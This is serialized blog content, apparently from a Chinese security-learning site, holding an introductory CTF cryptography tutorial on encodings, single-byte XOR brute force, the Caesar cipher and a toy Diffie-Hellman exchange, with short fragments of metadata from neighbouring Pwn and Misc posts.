.s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":24,"searchDepth":38,"depth":38,"links":3666},[3667,3668,3669,3670,3671,3672,3673,3674,3675,3676],{"id":2820,"depth":111,"text":2821},{"id":1561,"depth":111,"text":1562},{"id":2868,"depth":111,"text":2869},{"id":3011,"depth":111,"text":3012},{"id":3112,"depth":111,"text":3113},{"id":3209,"depth":111,"text":3210},{"id":3353,"depth":111,"text":3354},{"id":3456,"depth":111,"text":3457},{"id":3535,"depth":111,"text":3536},{"id":3648,"depth":111,"text":3649},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1480,"image":3679,"alt":3680,"tags":3681,"published":740},"/blogs-img/blog2.png","CTF Pwn 入门",[550,3034,1486],"/blogs/ctf-pwn-overview",{"title":2815,"description":3677},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":3687,"title":3688,"body":3689,"description":4674,"extension":1478,"meta":4675,"navigation":740,"ogImage":4676,"path":4680,"seo":4681,"stem":4682,"__hash__":4683},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":3690,"toc":4664},[3691,3695,3698,3765,3768,3854,3856,3862,3865,3889,3891,3897,3899,3919,3928,3932,3943,3947,3952,3996,3998,4004,4008,4013,4026,4099,4101,4107,4113,4117,4123,4154,4158,4161,4225,4227,4233,4237,4241,4244,4248,4253,4258,4299,4303,4425,4427,4433,4443,4445,4449,4452,4490,4494,4523,4527,4530,4559,4561,4567,4571,4574,4579,4582,4590,4649,4651,4656,4658,4661],[10,3692,3694],{"id":3693},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,3696,3697],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[1325,3699,3700,3713],{},[1328,3701,3702],{},[1331,3703,3704,3707,3710],{},[1334,3705,3706],{},"编码",[1334,3708,3709],{},"现实应用",[1334,3711,3712],{},"例子",[1344,3714,3715,3731,3750],{},[1331,3716,3717,3720,3723],{},[1349,3718,3719],{},"Base64",[1349,3721,3722],{},"邮件附件（MIME）、JWT 令牌、Data URI",[1349,3724,3725,3728,3729],{},[26,3726,3727],{},"ZmxhZw=="," → ",[26,3730,600],{},[1331,3732,3733,3736,3743],{},[1349,3734,3735],{},"Hex",[1349,3737,3738,3739,3742],{},"颜色值 ",[26,3740,3741],{},"#FF0000","、MAC 地址、哈希摘要",[1349,3744,3745,3728,3748],{},[26,3746,3747],{},"666c6167",[26,3749,600],{},[1331,3751,3752,3755,3758],{},[1349,3753,3754],{},"URL 编码",[1349,3756,3757],{},"浏览器地址栏中的中文与特殊字符",[1349,3759,3760,3728,3763],{},[26,3761,3762],{},"%66%6c%61%67",[26,3764,600],{},[15,3766,3767],{},"先运行最小的解码例子：",[19,3769,3771],{"className":721,"code":3770,"language":723,"meta":24,"style":24},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[26,3772,3773,3778,3783,3787,3792,3797,3802,3806,3811,3816,3821,3825,3830,3835,3840,3844,3849],{"__ignoreMap":24},[29,3774,3775],{"class":31,"line":32},[29,3776,3777],{},"import base64\n",[29,3779,3780],{"class":31,"line":38},[29,3781,3782],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[29,3784,3785],{"class":31,"line":111},[29,3786,741],{"emptyLinePlaceholder":740},[29,3788,3789],{"class":31,"line":157},[29,3790,3791],{},"print(base64.b64encode(b\"flag\"))\n",[29,3793,3794],{"class":31,"line":163},[29,3795,3796],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[29,3798,3799],{"class":31,"line":169},[29,3800,3801],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[29,3803,3804],{"class":31,"line":215},[29,3805,741],{"emptyLinePlaceholder":740},[29,3807,3808],{"class":31,"line":221},[29,3809,3810],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[29,3812,3813],{"class":31,"line":227},[29,3814,3815],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[29,3817,3818],{"class":31,"line":773},[29,3819,3820],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[29,3822,3823],{"class":31,"line":779},[29,3824,741],{"emptyLinePlaceholder":740},[29,3826,3827],{"class":31,"line":785},[29,3828,3829],{},"print(bytes.fromhex(\"666c6167\"))\n",[29,3831,3832],{"class":31,"line":791},[29,3833,3834],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[29,3836,3837],{"class":31,"line":797},[29,3838,3839],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[29,3841,3842],{"class":31,"line":803},[29,3843,741],{"emptyLinePlaceholder":740},[29,3845,3846],{"class":31,"line":809},[29,3847,3848],{},"print(b\"flag\".hex())\n",[29,3850,3851],{"class":31,"line":815},[29,3852,3853],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3855,1314],{},[19,3857,3860],{"className":3858,"code":3859,"language":300,"meta":24},[298],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[26,3861,3859],{"__ignoreMap":24},[15,3863,3864],{},"URL 编码：",[19,3866,3868],{"className":721,"code":3867,"language":723,"meta":24,"style":24},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[26,3869,3870,3875,3879,3884],{"__ignoreMap":24},[29,3871,3872],{"class":31,"line":32},[29,3873,3874],{},"from urllib.parse import quote, unquote\n",[29,3876,3877],{"class":31,"line":38},[29,3878,741],{"emptyLinePlaceholder":740},[29,3880,3881],{"class":31,"line":111},[29,3882,3883],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[29,3885,3886],{"class":31,"line":157},[29,3887,3888],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,3890,1314],{},[19,3892,3895],{"className":3893,"code":3894,"language":300,"meta":24},[298],"%E4%BD%A0%E5%A5%BD\nflag\n",[26,3896,3894],{"__ignoreMap":24},[10,3898,1562],{"id":1561},[19,3900,3902],{"className":82,"code":3901,"language":84,"meta":24,"style":24},"pip3 install pycryptodome sympy gmpy2\n",[26,3903,3904],{"__ignoreMap":24},[29,3905,3906,3908,3910,3913,3916],{"class":31,"line":32},[29,3907,2860],{"class":91},[29,3909,1578],{"class":95},[29,3911,3912],{"class":95}," pycryptodome",[29,3914,3915],{"class":95}," sympy",[29,3917,3918],{"class":95}," gmpy2\n",[15,3920,3921,3922],{},"浏览器打开 CyberChef（",[706,3923,3927],{"href":3924,"rel":3925},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[3926],"nofollow","https://gchq.github.io/CyberChef）。",[10,3929,3931],{"id":3930},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3933,3934,3935,3938,3939,3942],{},"异或的性质：",[26,3936,3937],{},"A ^ B = C","，且 ",[26,3940,3941],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[76,3944,3946],{"id":3945},"_31-加密","3.1 加密",[15,3948,3949,3951],{},[67,3950,251],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[19,3953,3955],{"className":721,"code":3954,"language":723,"meta":24,"style":24},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[26,3956,3957,3962,3967,3971,3976,3981,3986,3991],{"__ignoreMap":24},[29,3958,3959],{"class":31,"line":32},[29,3960,3961],{},"plain = b\"flag{xor_is_easy}\"\n",[29,3963,3964],{"class":31,"line":38},[29,3965,3966],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[29,3968,3969],{"class":31,"line":111},[29,3970,741],{"emptyLinePlaceholder":740},[29,3972,3973],{"class":31,"line":157},[29,3974,3975],{},"cipher = bytes([b ^ key for b in plain])\n",[29,3977,3978],{"class":31,"line":163},[29,3979,3980],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[29,3982,3983],{"class":31,"line":169},[29,3984,3985],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[29,3987,3988],{"class":31,"line":215},[29,3989,3990],{},"print(cipher.hex())\n",[29,3992,3993],{"class":31,"line":221},[29,3994,3995],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3997,1314],{},[19,3999,4002],{"className":4000,"code":4001,"language":300,"meta":24},[298],"242e2325393a2d301d2b311d2723313b3f\n",[26,4003,4001],{"__ignoreMap":24},[76,4005,4007],{"id":4006},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,4009,4010,4012],{},[67,4011,251],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,4014,4015,4017,4018,4021,4022,4025],{},[67,4016,261],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[26,4019,4020],{},"flag{"," 开头，这就是天然的判据。用 ",[26,4023,4024],{},"b\"flag{\" in plain"," 过滤即可。",[19,4027,4029],{"className":721,"code":4028,"language":723,"meta":24,"style":24},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[26,4030,4031,4036,4041,4045,4050,4055,4060,4065,4070,4075,4080,4085,4090,4094],{"__ignoreMap":24},[29,4032,4033],{"class":31,"line":32},[29,4034,4035],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[29,4037,4038],{"class":31,"line":38},[29,4039,4040],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[29,4042,4043],{"class":31,"line":111},[29,4044,741],{"emptyLinePlaceholder":740},[29,4046,4047],{"class":31,"line":157},[29,4048,4049],{},"for k in range(256):\n",[29,4051,4052],{"class":31,"line":163},[29,4053,4054],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[29,4056,4057],{"class":31,"line":169},[29,4058,4059],{},"    plain = bytes([b ^ k for b in cipher])\n",[29,4061,4062],{"class":31,"line":215},[29,4063,4064],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[29,4066,4067],{"class":31,"line":221},[29,4068,4069],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[29,4071,4072],{"class":31,"line":227},[29,4073,4074],{},"    if b\"flag{\" in plain:\n",[29,4076,4077],{"class":31,"line":773},[29,4078,4079],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[29,4081,4082],{"class":31,"line":779},[29,4083,4084],{},"        print(\"key =\", k)           # 输出密钥数值\n",[29,4086,4087],{"class":31,"line":785},[29,4088,4089],{},"        print(plain.decode())       # 输出解密出的明文\n",[29,4091,4092],{"class":31,"line":791},[29,4093,872],{},[29,4095,4096],{"class":31,"line":797},[29,4097,4098],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,4100,1314],{},[19,4102,4105],{"className":4103,"code":4104,"language":300,"meta":24},[298],"key = 66\nflag{xor_is_easy}\n",[26,4106,4104],{"__ignoreMap":24},[15,4108,4109,4110,4112],{},"判断依据：明文包含 ",[26,4111,4020],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[76,4114,4116],{"id":4115},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,4118,4119,4120,178],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[26,4121,4122],{},"xortool",[19,4124,4126],{"className":82,"code":4125,"language":84,"meta":24,"style":24},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[26,4127,4128,4138],{"__ignoreMap":24},[29,4129,4130,4133,4135],{"class":31,"line":32},[29,4131,4132],{"class":91},"pip",[29,4134,1578],{"class":95},[29,4136,4137],{"class":95}," xortool\n",[29,4139,4140,4142,4145,4148,4151],{"class":31,"line":38},[29,4141,4122],{"class":91},[29,4143,4144],{"class":116}," -x",[29,4146,4147],{"class":116}," -c",[29,4149,4150],{"class":116}," 20",[29,4152,4153],{"class":95}," cipher.bin\n",[10,4155,4157],{"id":4156},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,4159,4160],{},"每个字母平移固定位数：",[19,4162,4164],{"className":721,"code":4163,"language":723,"meta":24,"style":24},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[26,4165,4166,4171,4176,4181,4186,4191,4196,4201,4206,4211,4215,4220],{"__ignoreMap":24},[29,4167,4168],{"class":31,"line":32},[29,4169,4170],{},"def caesar(s, shift):\n",[29,4172,4173],{"class":31,"line":38},[29,4174,4175],{},"    out = \"\"\n",[29,4177,4178],{"class":31,"line":111},[29,4179,4180],{},"    for c in s:\n",[29,4182,4183],{"class":31,"line":157},[29,4184,4185],{},"        if c.isalpha():\n",[29,4187,4188],{"class":31,"line":163},[29,4189,4190],{},"            base = ord('a') if c.islower() else ord('A')\n",[29,4192,4193],{"class":31,"line":169},[29,4194,4195],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[29,4197,4198],{"class":31,"line":215},[29,4199,4200],{},"        else:\n",[29,4202,4203],{"class":31,"line":221},[29,4204,4205],{},"            out += c\n",[29,4207,4208],{"class":31,"line":227},[29,4209,4210],{},"    return out\n",[29,4212,4213],{"class":31,"line":773},[29,4214,741],{"emptyLinePlaceholder":740},[29,4216,4217],{"class":31,"line":779},[29,4218,4219],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[29,4221,4222],{"class":31,"line":785},[29,4223,4224],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,4226,1314],{},[19,4228,4231],{"className":4229,"code":4230,"language":300,"meta":24},[298],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[26,4232,4230],{"__ignoreMap":24},[10,4234,4236],{"id":4235},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[76,4238,4240],{"id":4239},"_51-要解决的问题","5.1 要解决的问题",[15,4242,4243],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[76,4245,4247],{"id":4246},"_52-流程","5.2 流程",[15,4249,4250,4252],{},[67,4251,251],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,4254,4255,4257],{},[67,4256,261],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[2235,4259,4260,4268,4277,4285],{},[2238,4261,4262,4263,4265,4266,127],{},"双方公开约定大素数 ",[26,4264,15],{}," 与生成元 ",[26,4267,1538],{},[2238,4269,4270,4271,4273,4274,127],{},"Alice 选私钥 ",[26,4272,706],{},"，发送 ",[26,4275,4276],{},"A = g^a mod p",[2238,4278,4279,4280,4273,4282,127],{},"Bob 选私钥 ",[26,4281,2440],{},[26,4283,4284],{},"B = g^b mod p",[2238,4286,4287,4288,4291,4292,4295,4296,127],{},"双方分别计算 ",[26,4289,4290],{},"B^a mod p"," 与 ",[26,4293,4294],{},"A^b mod p","，得到相同值 ",[26,4297,4298],{},"g^(ab) mod p",[76,4300,4302],{"id":4301},"_53-最小实现","5.3 最小实现",[19,4304,4306],{"className":721,"code":4305,"language":723,"meta":24,"style":24},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[26,4307,4308,4313,4318,4323,4328,4333,4337,4342,4347,4352,4357,4362,4366,4371,4376,4381,4386,4391,4395,4400,4405,4410,4415,4420],{"__ignoreMap":24},[29,4309,4310],{"class":31,"line":32},[29,4311,4312],{},"p, g = 0xffffffffffffffc5, 2\n",[29,4314,4315],{"class":31,"line":38},[29,4316,4317],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[29,4319,4320],{"class":31,"line":111},[29,4321,4322],{},"# g：生成元，双方公开约定。\n",[29,4324,4325],{"class":31,"line":157},[29,4326,4327],{},"a, b = 1234567, 7654321\n",[29,4329,4330],{"class":31,"line":163},[29,4331,4332],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[29,4334,4335],{"class":31,"line":169},[29,4336,741],{"emptyLinePlaceholder":740},[29,4338,4339],{"class":31,"line":215},[29,4340,4341],{},"A = pow(g, a, p)\n",[29,4343,4344],{"class":31,"line":221},[29,4345,4346],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[29,4348,4349],{"class":31,"line":227},[29,4350,4351],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[29,4353,4354],{"class":31,"line":773},[29,4355,4356],{},"B = pow(g, b, p)\n",[29,4358,4359],{"class":31,"line":779},[29,4360,4361],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[29,4363,4364],{"class":31,"line":785},[29,4365,741],{"emptyLinePlaceholder":740},[29,4367,4368],{"class":31,"line":791},[29,4369,4370],{},"s_alice = pow(B, a, p)\n",[29,4372,4373],{"class":31,"line":797},[29,4374,4375],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[29,4377,4378],{"class":31,"line":803},[29,4379,4380],{},"s_bob = pow(A, b, p)\n",[29,4382,4383],{"class":31,"line":809},[29,4384,4385],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[29,4387,4388],{"class":31,"line":815},[29,4389,4390],{},"# 两个结果相等，这就是共享密钥。\n",[29,4392,4393],{"class":31,"line":821},[29,4394,741],{"emptyLinePlaceholder":740},[29,4396,4397],{"class":31,"line":827},[29,4398,4399],{},"print(\"A =\", A)\n",[29,4401,4402],{"class":31,"line":833},[29,4403,4404],{},"print(\"B =\", B)\n",[29,4406,4407],{"class":31,"line":839},[29,4408,4409],{},"print(\"Alice 计算:\", s_alice)\n",[29,4411,4412],{"class":31,"line":845},[29,4413,4414],{},"print(\"Bob 计算:\", s_bob)\n",[29,4416,4417],{"class":31,"line":851},[29,4418,4419],{},"print(\"一致:\", s_alice == s_bob)\n",[29,4421,4422],{"class":31,"line":857},[29,4423,4424],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,4426,1314],{},[19,4428,4431],{"className":4429,"code":4430,"language":300,"meta":24},[298],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[26,4432,4430],{"__ignoreMap":24},[15,4434,4435,4436,4439,4440,4442],{},"窃听者只能看到 ",[26,4437,4438],{},"p, g, A, B","，要算出 ",[26,4441,706],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,4444,2483],{"id":2482},[76,4446,4448],{"id":4447},"工具-1cyberchef","工具 1：CyberChef",[15,4450,4451],{},"浏览器工具，三个常用操作：",[1325,4453,4454,4464],{},[1328,4455,4456],{},[1331,4457,4458,4461],{},[1334,4459,4460],{},"操作",[1334,4462,4463],{},"用法",[1344,4465,4466,4474,4482],{},[1331,4467,4468,4471],{},[1349,4469,4470],{},"From Base64",[1349,4472,4473],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[1331,4475,4476,4479],{},[1349,4477,4478],{},"From Hex",[1349,4480,4481],{},"拖入 From Hex 解码十六进制",[1331,4483,4484,4487],{},[1349,4485,4486],{},"Magic",[1349,4488,4489],{},"直接粘贴未知文本，自动猜测编码方式",[76,4491,4493],{"id":4492},"工具-2python-标准库","工具 2：Python 标准库",[19,4495,4497],{"className":721,"code":4496,"language":723,"meta":24,"style":24},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[26,4498,4499,4504,4508,4513,4518],{"__ignoreMap":24},[29,4500,4501],{"class":31,"line":32},[29,4502,4503],{},"import base64, binascii\n",[29,4505,4506],{"class":31,"line":38},[29,4507,741],{"emptyLinePlaceholder":740},[29,4509,4510],{"class":31,"line":111},[29,4511,4512],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[29,4514,4515],{"class":31,"line":157},[29,4516,4517],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[29,4519,4520],{"class":31,"line":163},[29,4521,4522],{},"print(ord('A'))                       # 65，ASCII 编码\n",[76,4524,4526],{"id":4525},"工具-3pycryptodome","工具 3：pycryptodome",[15,4528,4529],{},"CTF 密码学最常用的库，三个函数：",[19,4531,4533],{"className":721,"code":4532,"language":723,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[26,4534,4535,4540,4544,4549,4554],{"__ignoreMap":24},[29,4536,4537],{"class":31,"line":32},[29,4538,4539],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[29,4541,4542],{"class":31,"line":38},[29,4543,741],{"emptyLinePlaceholder":740},[29,4545,4546],{"class":31,"line":111},[29,4547,4548],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[29,4550,4551],{"class":31,"line":157},[29,4552,4553],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[29,4555,4556],{"class":31,"line":163},[29,4557,4558],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,4560,1314],{},[19,4562,4565],{"className":4563,"code":4564,"language":300,"meta":24},[298],"5\nb'flag'\n1718378855\n",[26,4566,4564],{"__ignoreMap":24},[10,4568,4570],{"id":4569},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,4572,4573],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[19,4575,4577],{"className":4576,"code":4001,"language":300,"meta":24},[298],[26,4578,4001],{"__ignoreMap":24},[15,4580,4581],{},"解题脚本：",[15,4583,4584,4586,4587,4589],{},[67,4585,261],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[26,4588,4020],{}," 前缀过滤正确结果。",[19,4591,4593],{"className":721,"code":4592,"language":723,"meta":24,"style":24},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[26,4594,4595,4600,4605,4609,4614,4618,4622,4626,4631,4635,4640,4645],{"__ignoreMap":24},[29,4596,4597],{"class":31,"line":32},[29,4598,4599],{},"from binascii import unhexlify\n",[29,4601,4602],{"class":31,"line":38},[29,4603,4604],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[29,4606,4607],{"class":31,"line":111},[29,4608,741],{"emptyLinePlaceholder":740},[29,4610,4611],{"class":31,"line":157},[29,4612,4613],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[29,4615,4616],{"class":31,"line":163},[29,4617,741],{"emptyLinePlaceholder":740},[29,4619,4620],{"class":31,"line":169},[29,4621,4049],{},[29,4623,4624],{"class":31,"line":215},[29,4625,4059],{},[29,4627,4628],{"class":31,"line":221},[29,4629,4630],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[29,4632,4633],{"class":31,"line":227},[29,4634,4074],{},[29,4636,4637],{"class":31,"line":773},[29,4638,4639],{},"        print(\"key =\", k)          # 预期 66\n",[29,4641,4642],{"class":31,"line":779},[29,4643,4644],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[29,4646,4647],{"class":31,"line":785},[29,4648,872],{},[15,4650,1314],{},[19,4652,4654],{"className":4653,"code":4104,"language":300,"meta":24},[298],[26,4655,4104],{"__ignoreMap":24},[10,4657,2778],{"id":2777},[15,4659,4660],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1463,4662,4663],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":24,"searchDepth":38,"depth":38,"links":4665},[4666,4667,4668,4669,4670,4671,4672,4673],{"id":3693,"depth":111,"text":3694},{"id":1561,"depth":111,"text":1562},{"id":3930,"depth":111,"text":3931},{"id":4156,"depth":111,"text":4157},{"id":4235,"depth":111,"text":4236},{"id":2482,"depth":111,"text":2483},{"id":4569,"depth":111,"text":4570},{"id":2777,"depth":111,"text":2778},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1480,"image":4676,"alt":4677,"tags":4678,"published":740},"/blogs-img/blog3.png","CTF 密码学入门",[550,4679,1486],"crypto","/blogs/ctf-crypto-overview",{"title":3688,"description":4674},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":4685,"title":4686,"body":4687,"description":5631,"extension":1478,"meta":5632,"navigation":740,"ogImage":5633,"path":5637,"seo":5638,"stem":5639,"__hash__":5640},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 